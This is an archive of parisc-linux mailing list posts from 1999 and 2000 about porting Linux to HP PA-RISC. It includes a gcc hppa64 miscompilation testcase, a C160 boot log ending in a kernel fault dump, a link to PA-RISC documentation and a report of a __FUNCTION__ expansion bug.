X-Trace: ger.gmane.org 1416619216 5059 80.91.229.3 (22 Nov 2014 01:20:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:16 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, opensource@cup.hp.com,
        gcc-bugs@gcc.gnu.org
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: alan@linuxcare.com.au  Thu Oct 26 02:41:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA29570
	for <parisc-linux@puffin.external.hp.com>; Thu, 26 Oct 2000 02:41:21 -0600
Original-Received: (qmail 12478 invoked by uid 15267); 26 Oct 2000 08:42:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12451 invoked from network); 26 Oct 2000 08:42:53 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 26 Oct 2000 08:42:53 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id TAA13662;
	Thu, 26 Oct 2000 19:41:05 +1100
In-Reply-To: <Pine.LNX.4.21.0010261812440.31251-101000@front.linuxcare.com.au>
Content-ID: <Pine.LNX.4.21.0010261906221.31251@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:8218

On Thu, 26 Oct 2000, Alan Modra wrote:

> On Wed, 25 Oct 2000, Grant Grundler wrote:
> 
> > Though this seems like a "generic" hppa bug to me, I doubt it's
> > in the currently published hppa2.0-hpux toolchain.
> > 
> > [ Note : hppa64-linux tool chain isn't fully merged up with the
> 
> The bug manifests itself on today's CVS gcc from sourceware.
> .../configure --host=i686-linux --target=hppa64-linux

Errm, how embarrassing.  Instead of "today's CVS gcc" I configured from
the puffin gcc tree.  Alert readers probably can see that from the
hppa64-linux target I used above.  Trying again, this time using the right
gcc source with --target=hppa64-hpux11 is even worse though.  The same
sort of bug exhibits itself in proc_symlink, _and_ I get a segmentation
fault.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] testcase for hppa64 gcc bug
Date: Fri, 27 Oct 2000 00:43:42 +1100 (EST)
Lines: 49
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0010270024230.31251-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0010261922550.31251-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619216 5063 80.91.229.3 (22 Nov 2014 01:20:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:16 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: gcc-bugs@gcc.gnu.org
Original-X-From: alan@linuxcare.com.au  Thu Oct 26 07:42:29 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA26943
	for <parisc-linux@puffin.external.hp.com>; Thu, 26 Oct 2000 07:42:29 -0600
Original-Received: (qmail 20652 invoked by uid 15267); 26 Oct 2000 13:44:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20615 invoked from network); 26 Oct 2000 13:44:00 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 26 Oct 2000 13:44:00 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id AAA19481;
	Fri, 27 Oct 2000 00:43:42 +1100
In-Reply-To: <Pine.LNX.4.21.0010261922550.31251-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:8219

Here is a distilled testcase for the hppa64 bug reported in
http://gcc.gnu.org/ml/gcc-bugs/2000-10/msg00511.html

extern void abort(void);

char p;

int f1 (char **);
int f2 (char *, char **);

char *f3 (char *a, char *b)
{
  char *c = 0;

  if (f1 (&b) != 0)
    goto out;

  /* hppa64 passes bogus value for b */
  f2 (b, &c);

out:
  return c;
}

int f1 (char **x)
{
  if (*x != &p)
    abort ();
  return 0;
}

int f2 (char *a, char **b)
{
  if (a != &p)
    abort ();
  *b += 1;
  return 0;
}

int main (void)
{
  if (f3 (0, &p) != (char *) 0 + 1)
    abort ();
  return 0;
}

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Boot log from my C160
Date: 26 Oct 2000 11:30:00 -0400
Organization: Linuxcare, Inc.
Lines: 318
Approved: news@gmane.org
Message-ID: <yq1itqf1uyv.fsf@jaguar.mkp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619216 5074 80.91.229.3 (22 Nov 2014 01:20:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:16 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: mkp@mkp.net  Thu Oct 26 09:28:11 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA28928
	for <parisc-linux@puffin.external.hp.com>; Thu, 26 Oct 2000 09:28:10 -0600
Original-Received: (qmail 7350 invoked by uid 15267); 26 Oct 2000 15:29:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7234 invoked from network); 26 Oct 2000 15:29:37 -0000
Original-Received: from tux.mkp.net (130.225.60.11)
  by mailserv2.iuinc.com with SMTP; 26 Oct 2000 15:29:37 -0000
Original-Received: from tux.mkp.net ([130.225.60.11] helo=jaguar.mkp.net)
	by tux.mkp.net with esmtp (Exim 3.14 #2)
	id 13ooqH-00067H-00; Thu, 26 Oct 2000 17:21:22 +0200
Original-Received: (from mkp@localhost)
	by jaguar.mkp.net (8.9.3/8.9.3) id LAA06828;
	Thu, 26 Oct 2000 11:30:01 -0400
X-Authentication-Warning: jaguar.mkp.net: mkp set sender to mkp@mkp.net using -f
Original-Sender: mkp@mkp.net
Original-Lines: 318
User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Canyonlands)
Xref: news.gmane.org gmane.linux.ports.parisc:8220


Richard/Grant,

Output from my C160.  Only disk sits off the 720.


Firmware Version  6.1

Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------
   (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           Coprocessor State  I/D Cache 
  ---------  --------   ---------------------  -----------------  -------------
      0      160 MHz    Active                 Functional         512 KB/512 KB

  Central Bus Speed (in MHz) :        120

  Available memory (bytes)    : 536870912
  Good memory required (bytes):   10240000 

  Primary boot path:    PCI4.0.0
  Alternate boot path:  LAN.0.0.0.0.0.0
  Console path:         GRAPHICS(0)
  Keyboard path:        PS2

CPU 0
WARNING:  Self tests have been disabled as a result of FASTBOOT
          being enabled.  To enable self tests, use the FASTBOOT
          command in the CONFIGURATION menu and reboot the system.
WARNING:  Memory has been initialized, but not tested as a result of
          FASTBOOT being enabled.  To test memory, use the FASTBOOT
          command in the CONFIGURATION menu and reboot the system.


Processor is starting auto boot process.

To discontinue, press any key within 10 seconds.

Boot terminated.


------- Main Menu -------------------------------------------------------------

        Command                         Description
        -------                         -----------
        BOot [PRI|ALT|<path>]           Boot from specified path
        PAth [PRI|ALT|CON|KEY] [<path>] Display or modify a path
        SEArch [DIsplay|IPL] [<path>]   Search for boot devices

        COnfiguration [<command>]       Access Configuration menu/commands
        INformation [<command>]         Access Information menu/commands
        SERvice [<command>]             Access Service menu/commands

        DIsplay                         Redisplay the current menu
        HElp [<menu>|<command>]         Display help for menu or command
        RESET                           Restart the system
-------
Main Menu: Enter command > bo lanm 
Interact with IPL (Y, N, Q)?> n

Booting... 
Network Station Address 0060b0-07e4a5
System IP Address 10.0.0.7
Server IP Address 10.0.0.5

Boot IO Dependent Code (IODC) revision 2


HARD Booted.
palo ipl mkp@jaguar Thu Oct 26 10:59:16 EDT 2000
0/vmlinux 2118157 bytes @ 0x6800
0/palo-cmdline '0/vmlinux HOME=/ TERM=LINUX root=/dev/nfs nfsroot=10.0.0.5 '
Kernel: partition 0 file /vmlinux
ELF32 executable

Entry 00100128 first 00100000 n 4
Segment 0 load 00100000 size 1426012 mediaptr 0x1000
Segment 1 load 0025e000 size 182664 mediaptr 0x15e000
Segment 2 load 0028c000 size 118220 mediaptr 0x18b000
Segment 3 load 002ac000 size 8192 mediaptr 0x1a8000
branching to kernel entry point 0x00100128
Set default PSW W bit to 0
PDC Console Initialized
The Kernel has started...
Enabled FP coprocessor
Free memory starts at: 0xc02dd000
arg0 0x504d40  arg1 0x504d40
PALO command line: 'HOME=/ TERM=LINUX root=/dev/nfs nfsroot=10.0.0.5 '
PALO initrd 0-0
model   000059b0 00000481 00000000 00000002 778fe270 100000f0 00000008 000000b2 000000b2
vers    00000205
cpuid   000001c9
CPUID vers 14 rev 9
Searching for devices in PDC firmware... processor hpa 0xfffa0000
a newer box...
Found devices:
1. Unknown device (4) at 0xf200c000, versions 0x3b, 0x0, 0x89, 0x0, 0x80
2. Raven U/L2 Core BA (11) at 0xffd00000, versions 0x3b, 0x0, 0x81, 0x0, 0x0
3. Raven U/L2 Core RS-232 (10) at 0xffd05000, versions 0x3b, 0x0, 0x8c, 0x0, 0x0
4. Raven U/L2 Core SCSI (10) at 0xffd06000, versions 0x3b, 0x0, 0x82, 0x0, 0x0
5. Raven U/L2 Core Lan (802.3) (10) at 0xffd07000, versions 0x3b, 0x0, 0x8a, 0x0, 0x0
6. Raven U/L2 Core Centronics (10) at 0xffd02000, versions 0x3b, 0x0, 0x74, 0x0, 0x0
7. Raven U/L2 Core Audio (10) at 0xffd04000, versions 0x3b, 0x4, 0x7b, 0x0, 0x0
8. Raven U/L2 Core PC Keyboard (10) at 0xffd08000, versions 0x3b, 0x0, 0x84, 0x0, 0x0
9. Raven U/L2 Core PC Keyboard (10) at 0xffd08100, versions 0x3b, 0x0, 0x84, 0x0, 0x0
10. Raven Backplane Wax BA (11) at 0xffe00000, versions 0x17, 0x0, 0x8e, 0x0, 0x0
11. Raven Backplane Wax EISA BA (11) at 0xfc000000, versions 0x17, 0x0, 0x90, 0x0, 0x0
12. Raven Backplane Wax HIL (10) at 0xffe01000, versions 0x17, 0x0, 0x73, 0x0, 0x0
13. Raven Backplane RS-232 (10) at 0xffe02000, versions 0x17, 0x0, 0x8c, 0x0, 0x0
14. Gecko GSC Core Graphics (10) at 0xfa000000, versions 0x16, 0x0, 0x85, 0x0, 0x0
15. U2-IOA BC GSC+ Port (7) at 0xf203f000, versions 0x501, 0x1, 0xc, 0x3, 0x0
16. U2-IOA BC GSC+ Port (7) at 0xf103f000, versions 0x501, 0x1, 0xc, 0x3, 0x0
17. Dino PCI Bridge (13) at 0xf2000000, versions 0x680, 0x3, 0xa, 0x0, 0x0
That's a total of 17 devices.
CPU(s): 0 x PA8000 (PCX-U) at 160.000000 MHz
Linux version 2.4.0-test6 (mkp@jaguar) (gcc version 2.96 20000925 (experimental)) #3 Thu Oct 26 11:00:50 EDT 2000
free_bootmem(0x2e1000, 0x1fd1f000)
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 131072
zone(0): 65536 pages.
zone(1): 65536 pages.
zone(2): 0 pages.
Kernel command line: HOME=/ TERM=LINUX root=/dev/nfs nfsroot=10.0.0.5 
trap_init
Calibrating delay loop... 319.49 BogoMIPS
Memory: 511588k available
Dentry-cache hash table entries: 65536 (order: 7, 524288 bytes)
Buffer-cache hash table entries: 32768 (order: 5, 131072 bytes)
Page-cache hash table entries: 131072 (order: 7, 524288 bytes)
Inode-cache hash table entries: 32768 (order: 6, 262144 bytes)
POSIX conformance testing by UNIFIX
Lasi version 0 at 0xffd00000 found.
Wax at 0xffe00000 found.
Wax: HIL Keyboard-NMI registered.
parport0: PC-style at 0xffd02800, irq 536 [PCSPP,TRISTATE]
Found i82596 at 0xffd07000, IRQ 535
early initialization of device eth0 is deferred
Initializing lasi keyboard port at 0xffd08000...
Initializing lasi mouse port at 0xffd08100...
Found HIL at 0xffe01000, IRQ 798
No handler for interrupt 259 !
HIL: timed out, assuming no keyboard present.
Warning : device (10, 0x17, 0x0, 0x73, 0x0) NOT claimed by HIL 712, 715 or similiar
Dino version 3.1 (bridge mode) found at 0xf2000000
ccio found U2 GSC+ BC at 0xf203f000
ccio found U2 GSC+ BC at 0xf103f000
ccio: already initialized one device
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 4096 buckets, 32Kbytes
TCP: Hash tables configured (established 32768 bind 32768)
Starting kswapd v1.7
pty: 256 Unix98 ptys configured
lp0: using parport0 (interrupt-driven).
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
sim700: Configuring 53c710 (SCSI-ID 7) at ffd06100, IRQ 534
scsi0: Revision 0x2
Post test1, istat 01, sstat0 00, dstat 84
sim700: WARNING IRQ probe failed, (returned 0)
scsi0: Good, target data areas are dma coherent
scsi0: test 1 completed ok.
: Zalon vers field is 0x1, IRQ 260
ncr53c8xx: 53c720 detected
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
ncr53c720-0: restart (scsi reset).
sym53c8xx: at PCI bus 1, device 4, function 0
sym53c8xx: setting PCI_COMMAND_IO PCI_COMMAND_MEMORY...
sym53c8xx: setting PCI_COMMAND_MASTER...(fix-up)
kernel BUG at sym53c8xx.c:719!
sym53c8xx: 53c875E detected 
kernel BUG at sym53c8xx.c:719!
sym53c875E-0: rev 0x26 on pci bus 1 device 4 function 0 irq 1024
sym53c875E-0: NCR clock is 40772KHz
sym53c875E-0: ID 7, Fast-20, Parity Checking
sym53c875E-0: on-chip RAM at 0xf2fff000
sym53c875E-0: restart (scsi reset).
sym53c875E-0: Downloading SCSI SCRIPTS.
scsi0 : LASI/Simple 53c7xx
scsi1 : ncr53c8xx - version 3.3b
scsi2 : sym53c8xx - version 1.6b
scsi : 3 hosts.
scsi0: Unable to abort command for target 0
scsi0: Unable to send Bus Device Reset for target 0
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: istat = 02, sstat0 = 20, sstat1 = 00, dstat = 00
scsi0: dsp = 00080020 (script[0x0008]), dsps = 00080080, target = 0
scsi0: Failing command for ID0
scsi0: Unable to abort command for target 0
scsi0: Unable to abort command for target 1
scsi0: Unable to send Bus Device Reset for target 1
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: istat = 02, sstat0 = 20, sstat1 = 00, dstat = 00
scsi0: dsp = 00080020 (script[0x0008]), dsps = 00080080, target = 0
scsi0: Failing command for ID0
scsi0: Unable to abort command for target 1
  Vendor: $  B  Model: , , |,  ) @  Rev:     
  Type:   Direct-Access                      ANSI SCSI revision: 00
Detected scsi disk sda at scsi0, channel 0, id 1, lun 0
scsi0: Unable to abort command for target 2
scsi0: Unable to send Bus Device Reset for target 2
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: istat = 02, sstat0 = 20, sstat1 = 00, dstat = 00
scsi0: dsp = 00081020 (script[0x0408]), dsps = 00081080, target = 0
scsi0: Failing command for ID1

Dumping Stack from dfe04000 to dfe049c0:
4000 00000000 00000040 00000000 00000000 c027346c 00000000 00000000 ffffffff
4020 00000001 00000000 00000000 00000000 00000000 00000000 ffffffff c0273384
4040 c0273384 c02ac000 dfe28000 c027960c 00000000 00000000 00000000 00000000
4060 00000000 00000000 00000005 00000001 00000000 00000001 00000000 dfff0000
4080 dfff0000 00000000 00000000 dfe28000 00000000 c02caec8 00000000 dfe0409c
40a0 dfe0409c dfe040a4 c01196ec 00000000 00000000 00000000 00000000 00000000
40c0 00000000 00000000 00000000 00000000 00000000 00000000 dfe04000 c011c4b0
40e0 00000000 0000000c 00000000 00000000 00000145 00000000 00000151 00000000
4100 00000000 00000000 00000000 00000000 00000000 80000000 00000000 00000000
4120 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4140 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4160 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4180 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
41a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 fffffeff
41c0 00000000 ffffffff 00000000 c0273fb4 ffffffff ffffffff ffffffff ffffffff
41e0 ffffffff ffffffff 00800000 05000000 00000000 ffffffff ffffffff ffffffff
4200 00002000 00002000 00000400 00000400 ffffffff ffffffff ffffffff ffffffff
4220 00007363 73695f65 685f3000 00000000 00000000 00000000 00000000 00000000
4240 00000000 00000000 aa8e032d ffa95beb 4efd3eff dfeff75f ff7fffbf ffff7fff
4260 7fdbef3b febf7fff ffff9fff fb5fffff ad6deffd 9fbcdfff ff9ff7ff fefffffe
4280 ffffd7fe ffffffff ffffffff ffdfffff feffebff ff7ffeff 7fffafbf fefe8aff
42a0 effe6fff ffffffef ffeffeff dffe1260 c01c6d00 fff9fff7 00000000 fbf6ffff
42c0 fbefdfff fbbb3e7f ffffffff ffedf7db fffbffff f7e3fefb 7dffffff ef7fffff
42e0 ffef6dff be9dfbff ffffffff efff7fdf 7bfbabbf d3fbbfde fdffffbc ffebffff
4300 7ff4feff ffeddbff 7fdfdf5e fdfeffff 59efffff bffeff7f d7ffbf7f f7ffffff
4320 ff6fdffd dfbdffed fffeff7d ffefffff 7bd77fff fffcb77f f7ffeffb fbefffbf
4340 ffffdfff ddfeeb7e 00000000 00000000 00000000 00000000 00000000 00000000
4360 00000000 00000000 00000000 00000000 c011ab80 c011ab84 c0285000 00000000
4380 00000104 c028533c 00000000 f200c800 4efd3eff dfe14000 0000000d 2b6a2000
43a0 c024798c dfe14038 ffff9fff fb5fffff ad6deffd c029c518 ff9ff7ff fefffffe
43c0 ffffd7fe ffffffff 0004ff0b c0285000 c029c518 dfe14000 0000000b dfff08c8
43e0 dffe1360 c02855e4 dfe14038 00000000 c0247800 c01044a0 00000000 ffffffff
4400 000000fd f0100000 0000003c 0000003e dfe048c0 c0103cf4 c02b21e2 00000004
4420 c02b21c7 0000001a c02b21e2 00000000 dfe14b0c c025e000 00000026 0004e200
4440 0027a000 00000000 c0279040 dfe20040 00000000 dfe03000 00000000 00000000
4460 ffffffff ffffffff 00000000 dfe04468 00000000 00000000 00000000 00000000
4480 00000000 00000000 34bb9e06 3da1043d 69773c0c 7b42087a d2ee7818 f68410f4
44a0 a5aa4562 ed7e94bb 4b223f96 da8b9c25 9632ca7e b5618d19 2c1321ae 6ab5af61
44c0 5826435c d56b5ec2 b03a33ea aaa008d7 6002d286 5536a4fd c005a50c aa6d49fa
44e0 807dff4a 54ac26a7 00fbfe94 c0103c48 0181487a 52c62fcf 030290f4 a58c5f9e
4500 067394ba 4b6e0a6f 00000000 00000000 00000000 dfe04514 dfe04514 dfe0451c
4520 dfe0451c dfe04524 00000000 00000000 00000000 dfe04514 dfe04514 dfe0451c
4540 dfe0451c dfe04524 dfff0940 dfe04000 c027960c 00000000 dfff0000 84d1aa9d
4560 d038b4de 09d5e069 a07169bc 13abc0d2 40e2d378 275781a4 81c5a6f0 4eaf0348
4580 038b4de0 9d5e0690 07602e92 3acab873 0000000f 00000000 c024952c dfe04222
45a0 3b77c1c2 d62376cb 769936d6 c01c6f0c ed44d8fe 581604d9 da89b1fc b02c09b2
45c0 dfe04508 dfe04524 00000000 dfe04000 ffffffff 00000000 0000000a c028d730
45e0 c02db800 c0285000 dfe04524 dfe04508 dfe04524 dfe04000 dffe1260 dfe04524
4600 dfe04508 dfe04524 dfe04000 dffe1260 dfe04524 0c000000 0000000b dffe1260
4620 dfffc800 dd4745f5 d4eb92be c01c6938 a9a1902e 7586c821 5343205c eb0d9042
4640 00000001 00000000 dfe04000 dfe04508 00000000 00000000 00000000 00000000
4660 00000000 00000000 00000000 c01c60ac 00000000 00000000 00000000 00000000
4680 0000000b c0273000 00000000 00000000 00000017 dfe04758 00000000 c024c92c
46a0 dfe0469c dfe046a4 00000000 c01d1850 00001de0 dfe04688 c01c5ab8 dfe0469c
46c0 00002000 00001000 00002001 dfffcc00 0000ffff 00000000 dfffce00 dffe1260
46e0 dfffce00 00002000 00001000 00002001 dfffcc00 0000ffff 00000000 dfffce00
4700 dffe1260 dfffce00 00000000 00081080 00000060 00000001 00000000 c024c908
4720 ffff9fff fb5fffff ad6deffd c01d1738 ff9ff7ff fefffffe ffffd7fe ffffffff
4740 dfffcc00 00001002 dfe0471c 00000020 f000168c f0100000 000000fd dffe1260
4760 00001002 00000000 00000020 c024c800 00080000 dffe1260 dffe12e0 00000002
4780 0004000a c0120800 c01c5534 dfffcc00 00001000 00000002 dffe12e0 dffe1260
47a0 00080000 c024c800 00000020 00000000 00001002 dffe1260 000000fd f0100000
47c0 f000168c f000020c f0000204 c01c8d1c c01c89f0 0000000a c01c5520 00000060
47e0 c02734a0 c02734a0 dfffcc68 c025e000 00000001 00000000 dfe049c0 c01d1738
4800 aa8e032d ffa95beb 4efd3eff dfeff75f ff7fffbf ffff7fff 7fdbef3b febf7fff
4820 ffff9fff fb5fffff ad6deffd 9fbcdfff ff9ff7ff fefffffe ffffd7fe ffffffff
4840 ffffffff ffdfffff feffebff ff7ffeff 7fffafbf fefe8aff effe6fff ffffffef
4860 ffeffeff effffffd 5bff6ddf fff9fff7 ffdfffff fbf6ffff fbefdfff fbbb3e7f
4880 ffffffff ffedf7db fffbffff f7e3fefb 7dffffff ef7fffff ffef6dff be9dfbff
48a0 ffffffff efff7fdf 7bfbabbf d3fbbfde fdffffbc ffebffff 7ff4feff ffeddbff
48c0 7fdfdf5e fdfeffff 59efffff bffeff7f d7ffbf7f f7ffffff ff6fdffd dfbdffed
48e0 fffeff7d ffefffff 7bd77fff fffcb77f f7ffeffb fbefffbf ffffdfff ddfeeb7e
4900 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4920 00000000 00000000 c0120a4c c0120a50 713683e8 2a1ea43c e26d07d0 543d4878
4940 00000000 00000000 00000001 00000100 0000001d 0e931288 00000000 c01c89f4
4960 0000000a dffe12e0 dfffca00 c0107d08 3b0d8274 132a565e 761b04e8 2654acbc
4980 80000000 c02ca800 dfe04680 00000100 00000000 00002000 000003e8 00001000
49a0 00002000 00001002 dffe1260 c01046e0 f0100000 f000168c f000020c f0000204

Data access rights fault in kernel: Code=26 regs=dfe04780 (Addr=c01c89f4)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001010
r0-3     00000000 c0120800 c01c5534 dfffcc00
r4-7     00001000 00000002 dffe12e0 dffe1260
r8-11    00080000 c024c800 00000020 00000000
r12-15   00001002 dffe1260 000000fd f0100000
r16-19   f000168c f000020c f0000204 c01c8d1c
r20-23   c01c89f0 0000000a c01c5520 00000060
r24-27   c02734a0 c02734a0 dfffcc68 c025e000
r28-31   00000001 00000000 dfe049c0 c01d1738
sr0-4    00000000 00000000 00000000 00000000
sr4-8    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: c0120a4c c0120a50
 IIR: 0e931288    ISR: 00000000  IOR: c01c89f4
ORIG_R28: 00000000

-- 
Martin K. Petersen, Principal Linux Consultant, Linuxcare, Inc.
mkp@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christopher Beard <cjbeard@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Revised PA-RISC 1.1 Documentation
Date: Sat, 17 Apr 1999 20:46:41 +0000 (   )
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9904172043250.26813-100000@sprite.osfi-bsif.gc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619217 5079 80.91.229.3 (22 Nov 2014 01:20:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:17 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: cjbeard@thepuffingroup.com  Sat Apr 17 16:44:34 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id QAA05843
	for <parisc-linux@sod.res.cmu.edu>; Sat, 17 Apr 1999 16:44:33 -0400
Original-Received: (qmail 4719 invoked by uid 15267); 17 Apr 1999 20:43:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4711 invoked from network); 17 Apr 1999 20:43:20 -0000
Original-Received: from hse-ott-ppp31326.sympatico.ca (HELO hobbit) (209.226.116.235)
  by mailserv2.iuinc.com with SMTP; 17 Apr 1999 20:43:20 -0000
X-Sender: cjbeard@sprite.osfi-bsif.gc.ca
Xref: news.gmane.org gmane.linux.ports.parisc:8221


Just noticed that the PA-RISC 1.1 Instruction Set Architecture
documentation webpage has been cleaned up. There are also now links to the
.pdf versions.

	 http://dtf.external.hp.com/linux/Docs/PAdocs/index.html

I don't know how new this is, but I recall looking for these before and
the page being quite outdated. I'll post this to the project web page as
well.

- Chris


From - Thu Nov 08 21:13:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] __FUNCTION__ revisited
Date: Thu, 26 Oct 2000 12:54:43 -0700 (PDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <200010261954.MAA22459@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619217 5081 80.91.229.3 (22 Nov 2014 01:20:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:17 +0000 (UTC)
Cc: Drepper@milano.cup.hp.com, Ulrich@milano.cup.hp.com
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Thu Oct 26 13:49:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA30529
	for <parisc-linux@puffin.external.hp.com>; Thu, 26 Oct 2000 13:48:55 -0600
Original-Received: (qmail 5334 invoked by uid 15267); 26 Oct 2000 19:50:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5327 invoked from network); 26 Oct 2000 19:50:05 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 26 Oct 2000 19:50:05 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id 3C597117D
	for <parisc-linux@thepuffingroup.com>; Thu, 26 Oct 2000 12:49:59 -0700 (PDT)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id MAA22459;
	Thu, 26 Oct 2000 12:54:43 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:8222

Hi Ulrich,

After RTFMing for a bit, I still think __FUNCTION__ is b0rken.
Maybe I'm doing something else stupid that's obvious to you.

In linux/arch/parisc/kernel/sba_ccio.c I have some debug
output which can be enabled like this:
	#define DEBUG_SBA_RUN_SG

I use that for:

	#ifdef DEBUG_SBA_RUN_SG
	#define DBG_RUN_SG(x...)       printk(x)
	#else
	#define DBG_RUN_SG(x...)
	#endif

and use DBG_RUN_SG() like this:

	DBG_RUN_SG("%s() DONE %d mappings\n", __FUNCTION__, n_mappings);

The output I get looks like "() DONE 16 mappings".
No complaints from compiler or linker.


And despite the official change of __FUNCTION__'s data type almost 2 years
ago in the developement branch, __FUNCTION__ was still being treated as
a literal by our tool chain as late as August 3, 2000.
I still have the c110 console output to prove it:
-rw-rw----   1 grundler users       12384 Aug  3 19:35 c110.out1

thanks,
grant


From - Thu Nov 08 21:13:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
